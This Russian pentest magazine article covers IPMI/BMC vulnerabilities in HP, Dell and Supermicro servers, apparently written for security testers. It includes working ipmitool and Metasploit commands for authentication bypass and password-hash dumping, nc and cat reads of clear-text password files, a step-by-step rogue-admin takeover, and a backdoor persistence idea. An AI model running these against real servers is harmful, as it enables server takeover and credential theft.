Содержание статьи
- Коротко об IPMI/BMC
- Управление
- Что пентестеру IPMI/BMC
- Публичные исследования
- NULL authentication
- IPMI Authentication Bypass via Cipher 0
- IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
- IPMI Anonymous Authentication/Null user
- Supermicro IPMI UPnP Vulnerability
- Supermicro IPMI Clear-text Passwords
- Hands-On Lab
- Заключение
warning
Вся информация предоставлена исключительно в ознакомительных целях. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности.
Коротко об IPMI/BMC
IPMI — это набор спецификаций, регламентирующих, как общаться и что предоставлять. Все вендоры стараются придерживаться этих спецификаций.
BMC — это обертка из железа для работы IPMI. Представляет собой одноплатный компьютер (system on a chip) с щупальцами в сенсорах основного. Каждый вендор сам выбирает, что за железо использовать и как его объединять, что естественно. Все наши примеры мы будем рассматривать на Integrated Lights Out (iLO) от Hewlett-Packard (HP). HP iLO — это как раз связка BMC/IPMI. У других вендоров свои названия, реализации в железе и софте. Но, как правило, это одноплатный комп с процессором ARM и Linux’ом на борту.
Основная функция подобных устройств — сделать жизнь админов более простой и удобной: пропадает необходимость бежать к серверу и жать кнопку Reset / ставить новую систему / смотреть, почему он не грузится. Теперь можно подключиться к IPMI/BMC и сделать все это удаленно. К тому же появляется возможность получать информацию со всевозможных датчиков температуры, напряжения и так далее, что также довольно удобно.
Управление
Интерфейсов управления несколько:
- веб‑интерфейс (зависит от вендора);
- IPMI over LAN (UDP 623);
- из установленной системы на сервере (при условии, что установлены драйверы от производителя). Используемый софт: WMI под виндой, OpenIPMI, IPMItool под Linux.
С веб‑интерфейсом все понятно. Каждый вендор сам решает, как он выглядит и как его реализовать. Второй и третий интерфейсы похожи, но различается среда передачи. В случае IPMI over LAN, как можно догадаться, команды передаются через сеть на порт UDP 623. Из установленной системы команды для IPMI передаются посредством файла устройства, обычно это /dev/ipmi0, которое появляется после установки драйвера. Стандартная утилита для взаимодействия с IPMI — это IPMItool под GNU/Linux, как наиболее простая в обращении.
Что пентестеру IPMI/BMC
Несмотря на то что отчет об уязвимостях IPMI/BMC был опубликован еще летом 2013 года, в настоящее время остается очень много уязвимых систем. Очень часто IPMI/BMC любой масти можно найти через поисковик shodanhq.com (пример редакции: для статистики). Естественно, не стоит держать подобные системы снаружи. В основном они встречаются при проведении внутренних пентестов. Один из самых простых векторов развития атаки с использованием таких систем — «угон» сервера с помощью IPMI/BMC. Заимев административный доступ к IPMI/BMC (как будет показано далее, это совсем несложно), можно подключиться через VirtualConsole (aka KVM) и, к примеру, сбросить пароль root’a или с помощью LiveCD сдампить хеши локальных пользователей, если это Windows. При прокачанном скилле удачи можно даже поймать консоль, из которой root забыл разлогиниться (очень часто такое встречается на виртуальных машинах).
В свою очередь, IPMI можно использовать и как возможность вернуть доступ к серверу после полной переустановки системы. Доступ к IPMI/BMC средствами операционной системы при наличии максимальных привилегий возможен без использования пароля, то есть авторизация вообще не нужна. В этом случае злоумышленник просто создает административный аккаунт в IPMI/BMC. При потере доступа к серверу он заходит на IPMI/BMC и возвращает честно заработанное добро. Вообще, связь IPMI/BMC с основным компьютером до сих пор досконально не изучена. Это непаханое поле для поиска багов и фич. Учитывая количество вендоров, которые реализуют это в своих серверах, можно говорить о «богатом внутреннем мире».
Публичные исследования
Впервые на безопасность IPMI и BMC обратил внимание Дэн Фармер (Dan Farmer). С его полным отчетом, носящим говорящее название «Грузовой поезд в ад», можно ознакомиться здесь. Мы рассмотрим наиболее интересные с точки зрения взлома моменты.
Руководствуясь исследованием Дэна, уязвимости IPMI/BMC можно разделить на две большие категории:
- кастомные баги от производителей (например, уязвимости веб‑интерфейса);
- уязвимости протокола IPMI.
На самом деле Дэн накопал много интересного, об этом ниже.
NULL authentication
Описание:
Уязвимость позволяет обойти аутентификацию. Присутствует только в IPMI 1.5. Эксплуатация дает возможность управлять устройством, просто активировав опцию отключения аутентификации. Привилегии различаются у разных вендоров, но обычно бывают максимальными.
Вендоры:
- HP;
- Dell;
- Supermicro.
Условия:
Открытый порт UDP 623, IPMI 1.5, логин существующего юзера.
POC:
ipmitool -A NONE ‐H targetIP bmc guid
IPMI Authentication Bypass via Cipher 0
Описание:
Уязвимость позволяет обойти аутентификацию. Бага появилась с IPMI версией 2.0. В этой ревизии решили добавить шифрования. Для эксплуатации надо знать логин валидной учетной записи, а вот пароль знать не обязательно — можно указать любой.
Вендоры:
- HP;
- Dell;
- Supermicro.
Условия:
Открытый порт UDP 623, IPMI 2.0, логин существующего юзера.
POC:
metasploit - auxiliary/scanner/ipmi/ipmi_cipher_zero
ipmitool –I lanplus –C 0 –H targetIP –U Administrator –P anypasswordhere user list
IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval
Описание:
Уязвимость позволяет неавторизированному юзеру получить захешированные пароли пользователей для последующего брута. Бага появилась в спецификации IPMI версии 2.0
Вендоры
- HP;
- Dell;
- Supermicro.
Условия:
Открытый порт UDP 623, IPMI 2.0, логины существующих пользователей.
POC:
metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes
http://fish2.com/ipmi/tools/rak-the-ripper.pl
IPMI Anonymous Authentication/Null user
Описание:
Кто‑то называет это null user, кто‑то — anonymous authentication. Кто‑то разделяет эти две уязвимости, кто‑то нет… По умолчанию существует null user / anonymous – «» (пустая строка). Если говорят null user, то пароль у него тоже пустой. Если говорят anonymous authentication, то пасс у него admin и во всем виновато IPMI Chips with ATEN-Software.
Дэн в своем исследовании считает это как две разные уязвимости. А в доке от Rapid7 об null user уже ни слова.
Вендоры
- HP;
- Dell;
- Supermicro (используют IPMI Chips with ATEN-Software).
Условия:
Открытый порт UDP 623.
POC:
metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes
ipmitool -I lanplus -H targetIP -U '' -P '' user list
Supermicro IPMI UPnP Vulnerability
Описание:
В Supermicro присутствует сервис UPnP SSDP на порту UDP 1900. Он уязвим к переполнению буфера.
Вендоры
- Supermicro.
Условия:
Открытый порт 1900.
POC:
metasploit exploit/multi/upnp/libupnp_ssdp_overflow
metasploit auxiliary/scanner/upnp/ssdp_msearch
Supermicro IPMI Clear-text Passwords
Описание:
Спецификация IPMI 2.0 подразумевает, что где‑то должны храниться пароли в открытом виде. В Supermicro они находятся в файлах /nv/PSBlock или /nv/PSStore, в зависимости от firmware.
Помимо этого, в реализациях BMC на Nuvoton WPCM450 на TCP-порту 49152 висит сервис, который позволяет читать содержимое файлов в директории /nv, например PSBlock, server.pem и так далее.
Вендоры
- Supermicro.
Условия:
Shell-доступ?
POC:
cat /nv/PSBlock
echo ‘GET /PSBlock’ | nc targetIP 49152
По поводу уязвимостей «NULL authentication / IPMI Authentication Bypass via Cipher 0», «IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval», «IPMI Anonymous Authentication» — обо всем этом написано в спецификации IPMI. Исследователи досконально изучили ее, сделав при этом упор на механизмы аутентификации и шифрования. Уязвимость, связанная с произвольным выполнением кода в UPnP-сервисе в прошивке Supermicro (Supermicro IPMI UPnP Vulnerability), относится к CVE-2012-5958 (BoF в libupnp). Остальные же затронутые нами уязвимости найдены с помощью анализа прошивки Supermicro для материнских плат Supermicro X9, причем упор делался именно на анализ кода, отвечающего за веб.
Hands-On Lab
Давай разберем стандартную схему эксплуатирования уязвимостей IPMI. С помощью модуля ipmi_version, доступного в фреймворке Metasploit, можно просканировать периметр сети. Если ты уже находишься во внутреннем сегменте и устанавливать/использовать Metasploit нет возможности, то можно обойтись простенькой утилитой ipmiping
или rmcpping
.
Как только удалось обнаружить открытые IPMI, в первую очередь следует проверить их на уязвимость «Authentication Bypass via Cipher 0» (смотри выше). Если она присутствует, то можно обойтись без дампа хешей пользователей и просто сбросить пароль администратору или добавить своего. Важно: для использования этой уязвимости необходимо знание логина учетной записи, в нашем случае у учетной записи должны присутствовать административные привилегии. Для начала рассмотрим случай с дампом хеша пользователя и последующим его брутфорсом.
С помощью модуля Metasploit’a ipmi_dumphashes
мы имеем возможность собрать хеши пользователей. Важно: без знания логина пользователя не получится добыть его хеш. В опциях ipmi_dumphashes
можно указать путь до файла с логинами, например в том случае, если админы создали для себя учетные записи. Файл, который используется по умолчанию, содержит дефолтные логины всех вендоров.
Брут хешей поддерживаю как oclHashcat
, так и John
c jumbo-патчами (community edition). Джона следует брать с гитхаба (последнее время Роскомнадзор его не жалует. — Прим. ред.), так как на официальном сайте устаревшая версия без поддержки нужного нам формата. Последняя версия oclHashcat, на данный момент 1.30, поддерживает все из коробки.
Если у тебя в руках оказался хеш от HP iLO4, то тебе повезло. Дело в том, что при конфигурировании на заводе пароль по умолчанию для учетной записи Administrator устанавливают длиной восемь символов — uppercase + numeric. На моих скромных мощностях поиск подобного значения составляет около получаса.
В случае наличия уязвимости cipher 0 можно обойтись без брутфорса хешей и сбросить пароль. Для этого нам понадобится утилита IPMItool
. Сборка под GNU/Linux не вызывает вопросов. А вот под Windows придется устроить пляски с бубном в Cygwin. Последовательность действий для добавления администратора такая:
1. Смотрим, какие пользователи присутствуют, и используем следующий свободный ID.
ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user list
2. Устанавливаем логин нашего пользователя.
ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user set name <ID> hacker
3. Задаем для него пароль.
ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user set password <ID> hackerpass
4. Делаем его администратором.
ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user priv <ID> 4
5. Активируем только что созданную учетную запись.
ipmitool –I lanplus –C 0 –H 1.1.1.1 –U Administrator –P anypasswordhere user enable <ID>
После того как хеши взломаны, пароли сброшены или же добавлен новый администратор, у тебя появляется возможность зайти через веб‑интерфейс, по SSH на SMASH или подключиться к удаленному рабочему столу, а‑ля KVM.
Особую ценность представляет KVM, так как реализует доступ непосредственно к самой консоли, тем самым позволяя получить доступ в BIOS, установить ОС и тому подобное. За реализацию KVM отвечает каждый вендор сам. Например, в HP iLO4 для этого используются порты TCP 17988 и 17990. У Dell iDRAC7 это порт TCP 5900. Cisco ICM порт TCP 2068.
Стоит упомянуть такую вещь, как HP BladeSystem Onboard Administrator. HP BladeSystem представляет собой шасси, к которому подключаются блейд‑серверы. Так вот, это шасси позволяет управлять централизованно блейд‑серверами с помощью IPMI. При этом авторизация на «подчиненные» IPMI происходит с помощью механизма SSO. Все, что тебе требуется, — это получить хеш пользователя с административными привилегиями и с помощью веб‑интерфейса подключиться на интересующий тебя сервер :).
Еще одна интересная особенность, найденная в HP iLO4, — это возможность подключиться к серверу по KVM прямо из SMASH (читай: SSH) с помощью команды TEXTCONS. Это весьма полезно, когда закрыты порты 80, 443, 17990. Для этого понадобятся права администратора, но какая разница? Стать администратором не так сложно.
Персонально для тебя, читатель, я подготовил программу ipmicd
на C под Windows/Linux. Она позволяет сканировать диапазон адресов на наличие IPMI/BMC, а также дампит хеши (аналог ipmi_dumphashes из Metasploit’а). Программы созданы на тот случай, когда использовать Metasplolit не самая удачная идея, например IPMI/BMC находятся где‑то далеко, куда Metasploit не пробросишь.
Утилита доступна на GitHub. Очень проста в использовании:
- Параметр
-p
используется, когда необходимо провести сканирование определенного диапазона. - Параметр
-d
указывает необходимость получить захешированный пароль. - Параметр
-v
указывает степень логирования при работе 0..5. При N = 1 программа выдает фингерпринты.N
Комбинируя параметры, можно влиять на поведение программы. Например, при использовании вместе опций -d
и -p
программа будет пробовать получить хеши только с систем, которые отвечают на IPMI-пинги. При использовании только опции -d
будет пытаться получить хеши со всех адресов, что очень‑очень медленно. Если что‑то вызывает сомнения, то можно использовать -v
— программа будет выводить в удобном формате получаемые сообщения.
Для компилирования под Linux понадобится только GCC — gcc
. В случае использования на Windows компилировать следует с помощью MinGW gcc
.
Помимо этого, я подготовил для тебя PoC LiveCD, который дампит хеши пользователей Windows. Там же ты сможешь найти инструкцию по созданию своего кастомного LiveCD.
Заключение
Пара слов о высоком: изучение возможностей и реализаций разными вендорами IPMI/BMC только начинается. Сюда можно включить не только веб‑интерфейс или SMASH, но и драйверы для операционных систем, позволяющих взаимодействовать с IPMI/BMC из установленной системы. Внутренние сервисы, реализующие обмен информацией в IPMI/BMC. Под прицел может попасть даже «железная» реализация самого BMC и как именно он управляет основным сервером.
Администраторам же я рекомендую проверить все свои системы на наличие в них публичных уязвимостей и по возможности устранить эти уязвимости. Помимо этого, уделяйте больше внимания сегментации своих сетей — пользователи не должны иметь доступ к системам, которые для них не предназначены. Stay tuned!